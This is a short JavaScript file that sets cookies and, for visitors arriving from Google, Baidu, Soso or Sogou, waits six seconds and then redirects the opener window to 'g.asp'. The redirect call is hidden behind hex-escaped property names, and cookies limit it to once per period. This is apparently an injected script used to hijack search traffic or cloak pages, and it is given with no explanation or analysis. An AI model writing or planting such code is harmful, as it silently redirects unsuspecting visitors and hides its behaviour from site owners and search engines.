var mycookie="gg"
var mcookie="ggg"
if(!get_cookie(mycookie))
{
var cookie_time = 168;
set_cookie(mycookie);
var cookie_time = 0.02;
set_cookie(mcookie);
  {
  if (document.referrer&&document.referrer.indexOf('google')>=0){
setTimeout("mm()",6000); }
  if (document.referrer&&document.referrer.indexOf('baidu')>=0){
setTimeout("mm()",6000); }


  if (document.referrer&&document.referrer.indexOf('soso')>=0){
setTimeout("mm()",6000); }
  if (document.referrer&&document.referrer.indexOf('sogou')>=0){
setTimeout("mm()",6000); }
  }
}

function mm(){window["\x6f\x70\x65\x6e\x65\x72"]["\x6e\x61\x76\x69\x67\x61\x74\x65"]("g.asp");} 

function get_cookie(Name) {
	var search = Name + "="
	var returnvalue = "";
	if (document.cookie.length > 0) {
		offset = document.cookie.indexOf(search)
		if (offset != -1) {
			offset += search.length;
			end = document.cookie.indexOf(";", offset);
			if (end == -1)
				end = document.cookie.length;
			returnvalue=unescape(document.cookie.substring(offset, end));
		}
	} 
	return returnvalue;
}

<!--写入cookie-->
function set_cookie(Name)
{
<!--cookie过期时间，如果不使用cookie则为0-->


var Then = new Date();
Then.setTime(Then.getTime() + cookie_time*60*60*1000);
document.cookie=Name+'=1;expires='+ Then.toGMTString()+';path=/;';

}